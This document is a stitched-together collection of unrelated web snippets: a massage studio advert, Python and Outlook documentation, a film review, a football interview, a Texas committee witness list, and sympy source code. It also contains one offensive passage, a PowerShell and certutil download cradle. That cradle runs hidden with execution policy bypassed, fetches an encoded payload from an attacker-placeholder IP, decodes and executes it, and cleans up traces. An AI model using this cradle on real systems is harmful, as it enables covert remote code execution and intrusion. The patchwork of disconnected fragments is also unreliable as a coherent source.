Do you suffer from back pain? Lower back pain? Neck pain? Frozen shoulder or knee pain?
Sergey's Massage studio is here to help YOU!
This is not a basic massage parlor. This is also far from simple. This is real therapy.
The featured services include: manual massage therapy, deep tissue, pressure-point therapy, sports massage, cupping massage, russo-instrumental massage, relaxing Swedish massage, and more!
The customer is not limited to choosing any one, two, or even three options. Dr. Sergey Komarov is able to provide multiple styles of treatment; even in a single session! That's because customer health comes first.
You are here to solve your health problems.
We are here to help you.
Dr. Sergey Komarov is from Tambov, Russian Federation. He studied for 12 years in Military Medical Academy and completed the necessary residency hours to qualify him for the title of 'Doctor.' He then worked in St. Petersburg, Russia as a general physician for five years, before deciding to permanently move to the United States of America. Here, Dr. Komarov studied the art of massage therapy. After studying and practicing at the European School of Massage therapy, over the course of two years, he obtained his license in 2004. Though he is not presently a doctor in the U.S., there is an old Russian saying: "There are no former doctors."
This saying holds true at Sergey's massage studio. For over 14 years, every treatment conducted by Dr. Sergey Komarov has had one thing in mind: "How can I cure my patients?" With this mentality, treatments are customized to meet individual health conditions, constantly searching for new areas of pain and seeking to relieve them. Because you do not have to be dealing with pain. Schedule an appointment with Dr. Sergey Komarov today, and show pain who's boss.


lcc.cli package¶
Submodules¶
lcc.cli.input_parse module¶
-
lcc.cli.input_parse.
parse_query_ranges
(raw_params, split_by=':', enum_by=';')¶ Parse range strings
Parameters: - raw_params (list) – List of strings which are composed of 0, 1 or 2 of split_by symbols.
- split_by (str) – Symbol which divides parameters ranges into from-to-step parts
Returns: List of lists of whole range of combinations for particular parameters
Return type: list
-
lcc.cli.input_parse.
parse_tun_query
(raw_params)¶ Parse query of merged identifiers with their parameters
Parameters: raw_params (list) – List of dictionaries of: ‘name:params’ : value. For example [{‘VarioShapeDescr:alphabet_size’: 7, ...}, ..] Returns: List of nested dictionaries. Keys are names of objects and their values are parameters (as keys for their values) Return type: list
lcc.cli.stars_handling module¶
-
lcc.cli.stars_handling.
getStars
(queries, lcs_fold, query_path=None, progb_txt='Querying stars: ')¶ Get stars from query text. According to format of the query text different methods are called.
- 1.QUERY:db_name:query_file_in_inputs_folder
- –> Remote database is queried (db key is name of connector class)
- 2.stars_folder_key:number or stars_folder_key:float_number or stars_folder_key
- –> Light curves from folder according to first key is loaded
- (according to settings.STARS_PATH dictionary). All stars are loaded if there is no number and ‘:’, in case of integer after ‘:’ just this number of stars are loaded and if there are float number after ‘:’ this percentage number of all stars are loaded.
-
lcc.cli.stars_handling.
getStarsFromFolder
(single_path, lcs_fold)¶ Get stars from folder/s. If path is iterable (case that more folders were given, light curves from that all folder will be loaded
Parameters: single_path (str) – Name of the folder of lightcurves from “light_curve” directory (specified in settings). Returns: stars – Stars from the folder Return type: List of Star objects
-
lcc.cli.stars_handling.
getStarsFromRemoteDb
(query, query_path)¶ This method parsing the query text in order to return desired stars from remote database.
Parameters: query (str) – Query text contains db_key and query file separated by ‘:’ Returns: Return type: List of Star objects Example
_getStarsFromRemoteDb(“OgleII:query_file.txt”) –> [Star objects]
- query_file.txt:
- #starid;field;target 1;1;lmc 10;1;smc


SQ Api( Security restful api ) build your api server fastly and with csrf, token verify, xss filter and protobuf transfer.


Chinese Literature in English
September 16th
Questions from last time?
The Zhuangzi 莊子
Zhuangzi the person
Structure
Changes to the Text
Themes
The Text
Open Discussion


|
|
|
Instructions: A word will be fingerspelled for you on the left-stage. Type the word you see. For each letter that you type, you will see its sign on the right-stage.
If you need to see the word again, leave the textbox blank and press the button. When you are ready to submit your answer, press the button. You may alternatively hit the [ENTER] key instead of pressing the button.
If you get a word right, your score increases by 1. If you get a word wrong, your score decreases by 1. There is no penalty or reward for replaying a word.
You can increase the fingerspelling speed by pressing the button, or by sliding the speed slider to the right.
You can decrease the fingerspelling speed by pressing the button, or by sliding the speed slider to the left.
By default, when you get a word right, the speed will increase automatically and when you get a word wrong, the speed will decrease automatically. This setting can be disabled by unchecking the Auto Save checkbox.
By default, you will see words that are 5 letters long or less. This can be changed by typing in a new word length limit and pressing the button. Note that the smallest word length is 3 letters.


While browsing the internet, I stumbled upon Rstudio’s new package blogdown
. I read posts from Karl Broman and found the the book that the package authors - Yihui Xie and Amber Thomas - freely share.
One tricky part of setting up the website involved the DNS settings. I bought the site fboehm.us
through google domains. While the blogdown book provides instructions for DNS settings for other domain name providers, at the time I set up my site, they hadn’t written instructions for use with google domains. Fortunately, it was not too difficult, and, through trial and error, I managed to succeed.
Under “Configure DNS” button on Google Domains, I chose “Use custom name servers”. Clicking on “Edit” enabled me to enter the server names that end in “nsone.net”.
In my netlify account page, under “Settings”, I edited “DNS Records” by creating a new record for CNAME. I entered host name: www.fboehm.us
and target: fboehm.us
. I hope that I set it up properly.


The Digital Chroma allows the pitch of a note to be specified independently of its note number, using the following two Digital Chroma-specific controls:
| CC86 | Pitch LSB | |
| CC87 | Pitch MSB |
Either of these, or both in either order, must be sent immediately before the Note On in order to alter its pitch. If the MSB is sent, it specifies the semitone, and the note number becomes a mere label used in the Note Off, or in polyphonic controls. If the LSB is sent, it is treated as a bipolar offset, where 0 is 50 cents flat, 64 is neutral, and 127 is almost 50 cents sharp. These values are consumed by the Note On, so that subsequent notes are unaffected. This means that the full range of pitches actually goes from \-0.5 to almost 127.5.
The Digital Chroma uses this feature when a MIDI input port is in MPE mode, so that it can combine all the channels in the zone into the master channel. To do this, it translates Note On into Pitch MSB with the actual note number, followed by Note On with the note number equal to the zero-based channel number. This allows more than one MPE channel to play the same note at the same time. If the result is sent out to a DAW for external recording, this is how the notes will appear.
It also uses this feature for the poly ordered keyboard algorithms, to control which old notes glide to which new notes, by assigning them to note numbers 0, 1, 2, etc. from the top note down. It also uses it in all the mono and arpeg keyboard algorithms, by using note number 0 for everything.


Jonah Duckles is Director of
Informatics and Innovation in a joint appointment with The
University of Oklahoma's Libraries and Information Technology
organizations. In this role he partners with researchers to
improve their comptuational workflows while developing maker
spaces. He holds a BS in Physics and an MS in Forestry and Natural
Resources, both from Purdue.
Executive Director


{include file='public/head' /}
|
Statment of:
Booked Between: And:
Depart Between: And:
|
||||||||||
|---|---|---|---|---|---|---|---|---|---|---|
| BKIN | BookingDate | DepartDate | TourCode | Person(S) | Total | Paid | Balance | CURR | ContactName | Client name |


Actionable Messages in Outlook are built on the Adaptive Card format. Outlook extends the standard Adaptive Card schema to define additional actions to support Actionable Message scenarios.
In this unit, we take a look at the following Outlook-specific actions.
Action.Http
Action.InvokeAddInCommand
Action.DisplayMessageForm
Action.DisplayAppointmentForm
Action.ToggleVisibility
The Action.Http
action is the core action used to make an Actionable Message interact with your service. This action sends an HTTP POST to your service, and can include user input.
Your service can provide a new card in response to this action, referred to as a refresh card. The refresh card will permanently replace the card on that email message. Refresh cards are typically used to report back status of the action. For example, when a recipient responds to a survey Actionable Message, your service could send back a card thanking the recipient for responding.
An Action.Http
action can also be set to automatically execute when the user opens the message. The result of the action contains a new card, updated with the latest information. For example, if an expense report tool sends an approval request to multiple approvers, the card could auto-invoke an action to query the service to see if someone has already approved the report. In that case, it could replace the card asking the recipient to approve with a card informing them who approved it and when.
{
"type": "Action.Http",
"title": "Send Feedback",
"method": "POST",
"url": "https://...",
"body": "{{feedbackText.value}}"
}
The Action.InvokeAddInCommand
action invokes a task pane Outlook add-in. It supports one-click installation of the add-in, so it isn't required that the recipient have the add-in already installed.
This action can be used to:
{
"type": "Action.InvokeAddInCommand",
"title": "Create Support Ticket with Contoso Support",
"addInId": "527104a1-f1a5-475a-9199-7a968161c870",
"desktopCommandId": "openTicketPane",
"initializationContext": {
"referenceNumber": "REF039420",
"bucketId": 2,
"priority": "normal"
}
}
The Action.DisplayMessageForm
and Action.DisplayAppointmentForm
actions are used to open an existing email message or appointment in the recipient's mailbox.
{
"type": "Action.DisplayMessageForm",
"title": "Show me the message",
"itemId": "AAMkAGUy...g3BZAAA="
}
The Action.ToggleVisibility
action makes it possible to show and/or hide specific elements of a card as a result of a user clicking on a button or other actionable element.
{
"type": "Action.ToggleVisibility",
"title": "Show only unassigned issues",
"targetElements": [
"assignedIssues"
]
}


Free eBay Templates creates listing templates 100% compliant with the 2017 dynamic content policy.
{{errorEmail}}
{{errorPassword}}
Sign in as a guest using the credentials Email<EMAIL_ADDRESS>and Password : guest


Ansu Fati: I hope I can spend my whole life here at Barcelona
The teenage star spoke as Barcelona presented their youth football section for the season
by German BonaAnsu Fati was the star attraction as Barcelona presented their youth football section at the Ciutat Esportiva Joan Gamper on Wednesday.
While Ernesto Valverde has considered him a first-team player since his debut against Real Betis, the forward didn't want to miss an emotional day for the academy. By the same token, Carles Perez was also present.
Ansu, now 17, spoke for the first time since making his debut for the first team in an interview with Barça TV.
"I've always wanted to be here," he said. "This has been my idea from the start and I hope I can spend my whole life here."
The teenager says nothing has changed since his debut: "I am calm, trying to do normal things. These (the U19s and B team players) are my teammates and will continue to be. I spend all day with them and nothing will change."
Ansu scored against Osasuna and again vs. Valencia: "Osasuna was a dream fulfilled, my first goal with the first team. And then Valencia, at Camp Nou... They were nights that I had dreamed of becoming a reality. You can't believe it."


Avole Coffee is a company that produces and sells authentic Ethiopian Coffee and curates a culture of hospitality and cooperation in local communities at each retail location. Our start-up social enterprise has been in operation for 3 years. Since its inception, it has been entirely funded through the support and sweat equity of our local community in Seattle. Known for our outstanding coffee and culture, we understand that our connection to the people we serve is what makes us great. We pride ourselves in roasting premium coffee in house and creating a thriving community space of empowerment.
Avole Coffee is not just a coffee company. Each Avole location is a living laboratory; a community centered open-innovation ecosystem where people co-create, explore, experiment and evaluate innovative concepts, projects and initiatives in order to collectively empower ourselves and generate transformative change. Much like the Ethiopian kaffa (coffee) we serve we are a unifying force that brings people together around our common humanity. Avole means ‘first cup’ in Amharic referring to the first cup poured from the jebena (traditional coffee pot) during the Ethiopian coffee ceremony. It is common for one to begin to share the story of his or her day while enjoying this cup. Cafe Avole is a venue for diverse communities to come together to share their stories and renew genuine connections across social divides.
The ultimate vision of Avole Coffee is to develop an equitable coffee business ecosystem that empowers the farmers who grow our coffee and the people who consume it to gain more from each cup. We aim to develop a large market for authentic Ethiopian heirloom coffee in the US and to establish direct trade relationships with farmers in Africa that empower them to gain more from the coffee they produce. Avole Coffee is all about equity. We give more to our farmers, our customers and our employees. We have diligently cultivated meaningful relationships with farmers and consumers by leveraging both our platform in the American coffee capital, Seattle and in the African coffee capital, Ethiopia. We intend to empower farmers by both offering a better price and sharing the resources and systems that have empowered us in the US.
- Solomon Malaku Doobie


The list is fetched from the backend and the time estimate is shown. The requests take progressively 3, 6, 9, ... seconds to test how the loading animation handles the time overflow.


HTML is a insensitive to whitespace, whereas Markdown is sensitive. In some Markdown elements, it’s not possible to include line breaks (whether CR, LF, or CR+LF). To handle this, we need to remove them in certain scenario’s: headings and table cells.
Line breaks can be created in several ways, such as br
elements:
| Heading cell |
|---|
| Data cell |
In newlines: true
mode, line feeds such as this one:
would normally also produce an line feed:
| Heading cell |
|---|
| Data cell |


Portfolio
This is where I will display websites I have worked on both in school and recreation.
Course Work
Index
Portfolio
Resume


APARTMENT COMPLEX, THE (director: Tobe Hooper; screenwriter: Karl Schaefer; cinematographer: Jacques Haitkin; editor: Andrew Horvitch; cast: Chad Lowe (Stan Warden), Fay Masterson (Alice), Amanda Plummer (Miss Chenille), R. Lee Ermey (Frank Stanton), Obba Babatunde (Chett), Jon Polito (Dr. Caligari), Ron Canada (Detective Culver), Miguel Sandoval (Detective Duarte), Tyra Banks (Shana), Gina Mari (Kiki), Patrick Warburton (Morgan), Charles Martin Smith (Gary Glumley); Runtime: 99; 1999)
Reviewed by Dennis Schwartz
A Showtime Original movie that results in a very strained comedy/mystery story, one that is more stupid than offbeat and less noir than in the mode of a sophomoric film school work. It tries so hard to waver between reality and being completely off-the-wall, until it succumbs to being mostly annoying and far too cute looking for it to be appealing, yet not funny enough to be worth the effort of setting up such an inane story. I can only recommend it for those who want to see Amanda Plummer perform her magical acting ability as a psychic. She can do no wrong, no matter how rotten this made-for-TV film is or how ridiculous her part is, as she sticks out like a rose in a weed garden, plying her talents as a sex-craved psychic for the police.
Rob Lowe's brother Chad, stars as the naive Stan Warden, who leaves his family house in the Midwest to live in his car in California, while taking graduate courses in psychology. Desperate to earn some money, he takes a job as a manager of a creepy apartment complex in Hollywood, where he gets a rent-free apartment. The apartment he gets is filled with crates and plastic bags marked the property of Glumley and looks like the dark apartment a demented person would inhabit.
The Wonder View Apartments has a swimming pool that is polluted with slime and filled with debris and it has an assortment of odd and annoying tenants, from wise guy roller skaters to corny lovebirds. Stan meets the eccentric tenants as he goes for the job interview. He mistakes the slum landlord Dr. Caligari for someone who is a homeless philosopher (Obba), and has the distinction of getting hired by both the false and the real landlord (Polito). The tenants get a chance to try out their revue comedy schtick for him and he gets to see this weird place, designed by Frank Lloyd Wright's cousin Iggy, as he is introduced to the tenants by the homeless one. There is one apartment, No. 19, that is missing, which he can't find when he goes there to deliver a strange package he receives addressed to it; and, in apartment No. 9, the one next door to Amanda, there is someone who has lived there for 10 years but who has never been seen. She says she wouldn't be able to pick him out of a lineup. In apartment No. 4 lives an attractive but troubled girl (Fay) he swoons over, she is going out with a psychopathic muscleman (Warburton), who has fits of jealousy, threatening to beat up anyone who even looks at her. Then there are two body double/stunt actresses (Tyra Banks and Gina Mari), they provide some martial arts scene routines, as they are scantily dressed in a bikini top and shorts while trying out their choke hold act. All the while, the story revolves around Stan's study of psychology in the sterile college atmosphere, where rats are experimented in a maze to study human behavior, which is compared to how invigorating it is to study people's behavior in a real setting, as he finds people in this setting act the same way the rats behave in a maze. To further mock the study of psychology, the hero uses the bust of Freud to knock out the bullying boyfriend of apartment No. 4, implying that is about all Freud is good for nowadays.
The ambitious Stan cleans out the pool with an ex-CIA tenant (Ermey) helping him lift a heavy object out of the pool, which is supposedly the dead body of the last manager, Glumley. The two detectives (Canada and Sandoval), for no reason at all, make Stan the only suspect in their homicide case. This might have been funny, if there was some credulity to their picking on the dumbfounded Stan, who has an airtight alibi. But the film defeated itself by trying to be both real and absurd, thereby nothing caught fire, it all seemed like every man and woman was out for themselves to see if they can get a laugh somehow from a story that was going nowhere.
Tobe Hooper (Poltergeist/Texas Chain Massacre) directed this shallow movie with irreverence, allowing that shallowness to run rampant through the film. The film failed doubly, both as a comedy and as a mystery. There were so many gaps in the story, that one can easily make a case that nothing made sense and what was funny, was merely only silly. This is a low point in storytelling, as the director has failed to keep this shallow film above even the low water mark it set for itself.
REVIEWED ON 9/11/2000 GRADE: C-
Dennis Schwartz: "Ozus' World Movie Reviews"
http://www.sover.net/~ozus
<EMAIL_ADDRESS>© ALL RIGHTS RESERVED DENNIS SCHWARTZ
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


WITNESS LIST
Opioids & Substance Abuse, Select Committee
May 15, 2018 - 10:00 AM
Prescription Monitoring Program and prescribing practices
On:
Ashley, Jeremy (Self; Brookshire Grocery Company, NACDS, TFDS)
Benz, Allison (Texas State Board of Pharmacy)
Bush, W. Boyd (Texas State Board of Dental Examiners)
Carlton, Stephen (Texas Medical Board)
Conwell, Audra (Alliance of Independent Pharmacists of Texas)
Fiesinger, MD, Troy (Texas Medical Association)
Hail, Stacey (UT Southwestern Medical Center)
Hawkins, John (Texas Hospital Association)
Henderson II, Bryan (Tsbde)
Hudman, Justin (Texas Pharmacy Association)
Johnston, James (Dusty) (Texas Board of Nursing)
KLOERIS, CHRIS (Texas Optometry Board)
Lee, C. Nicholas (Texas Society of Anesthesiologists)
Loesch, Jeff (Self; NACDS, TFDS, The Kroger Co.)
Makan, Hemant (Texas Department of Licensing and Regulation)
Scott, Freshour (Texas Medical Board)
Watzak, Bree (Texas A&M University Health Science Center)
Wright, Michael (Texas Pharmacy Business Council)
Registering, but not testifying:
On:
Bredt, Robert (Texas Medical Board)
Lamprecht, Lara (Texas Department of State Health Services)
Phipps, Alex (TSBDE)
Zych, Jolene (Texas Board of Nursing resource)
1


pod try Alderis
Alderis is a fresh new color picker, with a gentle, fun, and dead simple user interface. It aims to incorporate the usual elements of a color picker, in a way that users will find easy and fun to use.
The user can start by selecting a color they like on the initial color palette tab, and either accept it, or refine it using the color wheel and adjustment sliders found on the two other tabs.
Alderis is named for the Alderamin (Alpha) star in the Cepheus (Cephei) constellation. (There is no dependency on the Cephei project.)
Screenshots
Installation
CocoaPods
Add to your Podfile:
pod 'Alderis', '~> 1.1'
And then run pod install
.
Carthage
Add to your Cartfile:
github 'hbang/Alderis' ~> 1.1
And then run carthage update
.
Swift Package Manager
Not yet available due to #13.
Jailbreak packages
Add ws.hbang.alderis (>= 1.1)
to your Depends:
list.
libcolorpicker Compatibility
Alderis acts as a drop-in replacement for libcolorpicker, an abandoned but still very popular color picker library on jailbroken iOS. Packages can simply change their dependencies list to replace org.thebigboss.libcolorpicker
with ws.hbang.alderis
to switch their color picker to Alderis. No other changes required!
For more information, refer to the docs.
License
Licensed under the Apache License, version 2.0. Refer to LICENSE.md.
Header backdrop photo credit: John-Mark Smith on Unsplash


Make an animation bounce in different straight lines
The starter program has a ball animation where the ball starts in the center and moves off the screen in a fixed direction.
The initial direction of the ball is currently fixed as an X and Y velocity, before the setup() function:
// Ball velocity. This is used to change the position of the ball in every frame.
int velocityX = 4;
int velocityY = 5;
To make this direction random, use the random() function to initialize velocityX and velocityY to a random number between, say, -5 and 5.
To make the ball bounce off all edges, we need to handle hitting the edge in the draw() function, a bit like we did in the Bouncing Ball challenge:
if (ballY >= SCREEN_HEIGHT - BALL_WIDTH/2) {
velocityY = -velocityY
}
The difference is that our velocity now has both an x and a y component (for those that have done it in maths it is a vector):
Actually the code for the bounce is very similar, to bounce off a top or bottom edge we reverse the only the y component of the velocity:
To bounce off a side we reverse only the x part.
Our program starts with the velocity random in both X and Y directions. This means sometimes the ball moves slowly, sometimes faster, in a random direction overall.
The velocityX and velocityY variables therefore represent a vector for the velocity: It has both a size and a direction.
To make a vector a fixed size while keeping the same direction, we must do the following:
Here how to normalize and scale the values of velocityX and velocityY in our program (luckily Processing already has a function for that). You will need to call this from setup():
PVector v = new PVector(velocityX, velocityY);
v.normalize();
velocityX = v.x * VELOCITY;
velocityY = v.y * VELOCITY;
Don't worry if you didn't understand this part. You might not have done vectors yet in school!
Maybe you have studied vectors and wondered what they are used for? This program is just one small example. If you play any sort of game there are probably thousands of vector calculations like these and others every second...


https://www.coalfire.com/Solutions/Coalfire-Labs/The-Coalfire-LABS-Blog/may-2018/powershell-in-memory-injection-using-certutil-exe
Invoke-CradleCrafter
PS> SET URL <your_web_hosted_payload> #Give CradleCrafter the location of your payload
PS> MEMORY #Use CradleCrafter MEMORY option
PS> CERTUTIL #Use the CERTUTIL option for MEMORY
PS> ALL #Use all obfuscation options
Copy and paste the output into a text file like 'raw.txt'
Use CertUtil: certutil -encode raw.txt cert.cer #Use Certutil to base64 encode the raw.txt file into a cert
Now, from any terminal: - powershell.exe -Win hiddeN -Exec ByPasS add-content -path %APPDATA%\cert.cer (New-Object Net.WebClient).DownloadString('http://YOUR IP HERE/cert.cer'); certutil -decode %APPDATA%\cert.cer %APPDATA%\stage.ps1 & start /b cmd /c powershell.exe -Exec Bypass -NoExit -File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\cert.cer
The above command will download the cert with powershell, decode it to a ps1 with certutil, and then exec the new ps1 with powershell.
You need to delete the ps1 after your session opens!


--- layout: data_model title: ObservableType this_version: 1.2 ---
The ObservableType is a type representing a description of a single cyber observable.
| Field Name | Type | Description |
|---|---|---|
| @idoptional | QName |
The id field specifies a unique id for this Observable. |
| @idrefoptional | QName |
The idref field specifies a unique id reference to an Observable defined elsewhere. When idref is specified, the id attribute must not be specified, and any instance of this Observable should not hold content unless an extension of the Observable allows it. |
| @negateoptional | boolean |
The negate field, when set to true, indicates the absence (rather than the presence) of the given Observable in a CybOX pattern. |
| @sighting_countoptional | positiveInteger |
The sighting_count field specifies how many different identical instances of the Observable may have been seen/sighted. |
| Title0..1 | string |
The Title field provides a mechanism to specify a short title or description for this Observable. |
| Description0..1 | StructuredTextType |
The Description field provides a mechanism to specify a structured text description of this Observable. |
| Keywords0..1 | KeywordsType |
Keywords enables capture of relevant keywords for this cyber observable. |
| Observable_Source0..n | MeasureSourceType |
The Observable_Source field is optional and enables descriptive specification of how this Observable was identified and specified. |
| Object0..1 | ObjectType |
The Object construct identifies and specifies the characteristics of a specific cyber-relevant object (e.g. a file, a registry key or a process). |
| Event0..1 | EventType |
The Event construct enables specification of a cyber observable event that is dynamic in nature with specific action(s) taken against specific cyber relevant objects (e.g. a file is deleted, a registry key is created or an HTTP Get Request is received). |
| Observable_Composition0..1 | ObservableCompositionType |
The Observable_Composition construct enables specification of composite observables made up of logical constructions of atomic observables or other composite observables (e.g. Obs5 = (Obs1 OR Obs2) AND (Obs3 OR Obs4)). |
| Pattern_Fidelity0..1 | PatternFidelityType |
Pattern_Fidelity contains elements that enable the characterization of the fidelity of this pattern to its purpose. |


List of Student
Sl
Name
Roll
Remark
1
First
First
First
2
First
First
First
2
First
First
First
2
First
First
First
2
First
First
First
2
First
First
First
sum
sum
sum
sum
This is a paragraph
A caption for the above image.


from __future__ import print_function, division
from sympy.core import S, Basic, Dict, Symbol, Tuple, sympify
from sympy.core.compatibility import range, iterable
from sympy.sets import Set, FiniteSet, EmptySet
class Class(Set):
r"""
The base class for any kind of class in the set-theoretic sense.
In axiomatic set theories, everything is a class. A class which
can be a member of another class is a set. A class which is not a
member of another class is a proper class. The class `\{1, 2\}`
is a set; the class of all sets is a proper class.
This class is essentially a synonym for :class:`sympy.core.Set`.
The goal of this class is to assure easier migration to the
eventual proper implementation of set theory.
"""
is_proper = False
[docs]class Object(Symbol):
"""
The base class for any kind of object in an abstract category.
While technically any instance of :class:`Basic` will do, this
class is the recommended way to create abstract objects in
abstract categories.
"""
[docs]class Morphism(Basic):
"""
The base class for any morphism in an abstract category.
In abstract categories, a morphism is an arrow between two
category objects. The object where the arrow starts is called the
domain, while the object where the arrow ends is called the
codomain.
Two morphisms between the same pair of objects are considered to
be the same morphisms. To distinguish between morphisms between
the same objects use :class:`NamedMorphism`.
It is prohibited to instantiate this class. Use one of the
derived classes instead.
See Also
========
IdentityMorphism, NamedMorphism, CompositeMorphism
"""
def __new__(cls, domain, codomain):
raise(NotImplementedError(
"Cannot instantiate Morphism. Use derived classes instead."))
@property
def domain(self):
"""
Returns the domain of the morphism.
Examples
========
>>> from sympy.categories import Object, NamedMorphism
>>> A = Object("A")
>>> B = Object("B")
>>> f = NamedMorphism(A, B, "f")
>>> f.domain
Object("A")
"""
return self.args[0]
@property
def codomain(self):
"""
Returns the codomain of the morphism.
Examples
========
>>> from sympy.categories import Object, NamedMorphism
>>> A = Object("A")
>>> B = Object("B")
>>> f = NamedMorphism(A, B, "f")
>>> f.codomain
Object("B")
"""
return self.args[1]
[docs] def compose(self, other):
r"""
Composes self with the supplied morphism.
The order of elements in the composition is the usual order,
i.e., to construct `g\circ f` use ``g.compose(f)``.
Examples
========
>>> from sympy.categories import Object, NamedMorphism
>>> A = Object("A")
>>> B = Object("B")
>>> C = Object("C")
>>> f = NamedMorphism(A, B, "f")
>>> g = NamedMorphism(B, C, "g")
>>> g * f
CompositeMorphism((NamedMorphism(Object("A"), Object("B"), "f"),
NamedMorphism(Object("B"), Object("C"), "g")))
>>> (g * f).domain
Object("A")
>>> (g * f).codomain
Object("C")
"""
return CompositeMorphism(other, self)
def __mul__(self, other):
r"""
Composes self with the supplied morphism.
The semantics of this operation is given by the following
equation: ``g * f == g.compose(f)`` for composable morphisms
``g`` and ``f``.
See Also
========
compose
"""
return self.compose(other)
[docs]class IdentityMorphism(Morphism):
"""
Represents an identity morphism.
An identity morphism is a morphism with equal domain and codomain,
which acts as an identity with respect to composition.
Examples
========
>>> from sympy.categories import Object, NamedMorphism, IdentityMorphism
>>> A = Object("A")
>>> B = Object("B")
>>> f = NamedMorphism(A, B, "f")
>>> id_A = IdentityMorphism(A)
>>> id_B = IdentityMorphism(B)
>>> f * id_A == f
True
>>> id_B * f == f
True
See Also
========
Morphism
"""
def __new__(cls, domain):
return Basic.__new__(cls, domain, domain)
[docs]class NamedMorphism(Morphism):
"""
Represents a morphism which has a name.
Names are used to distinguish between morphisms which have the
same domain and codomain: two named morphisms are equal if they
have the same domains, codomains, and names.
Examples
========
>>> from sympy.categories import Object, NamedMorphism
>>> A = Object("A")
>>> B = Object("B")
>>> f = NamedMorphism(A, B, "f")
>>> f
NamedMorphism(Object("A"), Object("B"), "f")
>>> f.name
'f'
See Also
========
Morphism
"""
def __new__(cls, domain, codomain, name):
if not name:
raise ValueError("Empty morphism names not allowed.")
return Basic.__new__(cls, domain, codomain, Symbol(name))
@property
def name(self):
"""
Returns the name of the morphism.
Examples
========
>>> from sympy.categories import Object, NamedMorphism
>>> A = Object("A")
>>> B = Object("B")
>>> f = NamedMorphism(A, B, "f")
>>> f.name
'f'
"""
return self.args[2].name
[docs]class CompositeMorphism(Morphism):
r"""
Represents a morphism which is a composition of other morphisms.
Two composite morphisms are equal if the morphisms they were
obtained from (components) are the same and were listed in the
same order.
The arguments to the constructor for this class should be listed
in diagram order: to obtain the composition `g\circ f` from the
instances of :class:`Morphism` ``g`` and ``f`` use
``CompositeMorphism(f, g)``.
Examples
========
>>> from sympy.categories import Object, NamedMorphism, CompositeMorphism
>>> A = Object("A")
>>> B = Object("B")
>>> C = Object("C")
>>> f = NamedMorphism(A, B, "f")
>>> g = NamedMorphism(B, C, "g")
>>> g * f
CompositeMorphism((NamedMorphism(Object("A"), Object("B"), "f"),
NamedMorphism(Object("B"), Object("C"), "g")))
>>> CompositeMorphism(f, g) == g * f
True
"""
@staticmethod
def _add_morphism(t, morphism):
"""
Intelligently adds ``morphism`` to tuple ``t``.
If ``morphism`` is a composite morphism, its components are
added to the tuple. If ``morphism`` is an identity, nothing
is added to the tuple.
No composability checks are performed.
"""
if isinstance(morphism, CompositeMorphism):
# ``morphism`` is a composite morphism; we have to
# denest its components.
return t + morphism.components
elif isinstance(morphism, IdentityMorphism):
# ``morphism`` is an identity. Nothing happens.
return t
else:
return t + Tuple(morphism)
def __new__(cls, *components):
if components and not isinstance(components[0], Morphism):
# Maybe the user has explicitly supplied a list of
# morphisms.
return CompositeMorphism.__new__(cls, *components[0])
normalised_components = Tuple()
# TODO: Fix the unpythonicity.
for i in range(len(components) - 1):
current = components[i]
following = components[i + 1]
if not isinstance(current, Morphism) or \
not isinstance(following, Morphism):
raise TypeError("All components must be morphisms.")
if current.codomain != following.domain:
raise ValueError("Uncomposable morphisms.")
normalised_components = CompositeMorphism._add_morphism(
normalised_components, current)
# We haven't added the last morphism to the list of normalised
# components. Add it now.
normalised_components = CompositeMorphism._add_morphism(
normalised_components, components[-1])
if not normalised_components:
# If ``normalised_components`` is empty, only identities
# were supplied. Since they all were composable, they are
# all the same identities.
return components[0]
elif len(normalised_components) == 1:
# No sense to construct a whole CompositeMorphism.
return normalised_components[0]
return Basic.__new__(cls, normalised_components)
@property
def components(self):
"""
Returns the components of this composite morphism.
Examples
========
>>> from sympy.categories import Object, NamedMorphism
>>> A = Object("A")
>>> B = Object("B")
>>> C = Object("C")
>>> f = NamedMorphism(A, B, "f")
>>> g = NamedMorphism(B, C, "g")
>>> (g * f).components
(NamedMorphism(Object("A"), Object("B"), "f"),
NamedMorphism(Object("B"), Object("C"), "g"))
"""
return self.args[0]
@property
def domain(self):
"""
Returns the domain of this composite morphism.
The domain of the composite morphism is the domain of its
first component.
Examples
========
>>> from sympy.categories import Object, NamedMorphism
>>> A = Object("A")
>>> B = Object("B")
>>> C = Object("C")
>>> f = NamedMorphism(A, B, "f")
>>> g = NamedMorphism(B, C, "g")
>>> (g * f).domain
Object("A")
"""
return self.components[0].domain
@property
def codomain(self):
"""
Returns the codomain of this composite morphism.
The codomain of the composite morphism is the codomain of its
last component.
Examples
========
>>> from sympy.categories import Object, NamedMorphism
>>> A = Object("A")
>>> B = Object("B")
>>> C = Object("C")
>>> f = NamedMorphism(A, B, "f")
>>> g = NamedMorphism(B, C, "g")
>>> (g * f).codomain
Object("C")
"""
return self.components[-1].codomain
[docs] def flatten(self, new_name):
"""
Forgets the composite structure of this morphism.
If ``new_name`` is not empty, returns a :class:`NamedMorphism`
with the supplied name, otherwise returns a :class:`Morphism`.
In both cases the domain of the new morphism is the domain of
this composite morphism and the codomain of the new morphism
is the codomain of this composite morphism.
Examples
========
>>> from sympy.categories import Object, NamedMorphism
>>> A = Object("A")
>>> B = Object("B")
>>> C = Object("C")
>>> f = NamedMorphism(A, B, "f")
>>> g = NamedMorphism(B, C, "g")
>>> (g * f).flatten("h")
NamedMorphism(Object("A"), Object("C"), "h")
"""
return NamedMorphism(self.domain, self.codomain, new_name)
[docs]class Category(Basic):
r"""
An (abstract) category.
A category [JoyOfCats] is a quadruple `\mbox{K} = (O, \hom, id,
\circ)` consisting of
* a (set-theoretical) class `O`, whose members are called
`K`-objects,
* for each pair `(A, B)` of `K`-objects, a set `\hom(A, B)` whose
members are called `K`-morphisms from `A` to `B`,
* for a each `K`-object `A`, a morphism `id:A\rightarrow A`,
called the `K`-identity of `A`,
* a composition law `\circ` associating with every `K`-morphisms
`f:A\rightarrow B` and `g:B\rightarrow C` a `K`-morphism `g\circ
f:A\rightarrow C`, called the composite of `f` and `g`.
Composition is associative, `K`-identities are identities with
respect to composition, and the sets `\hom(A, B)` are pairwise
disjoint.
This class knows nothing about its objects and morphisms.
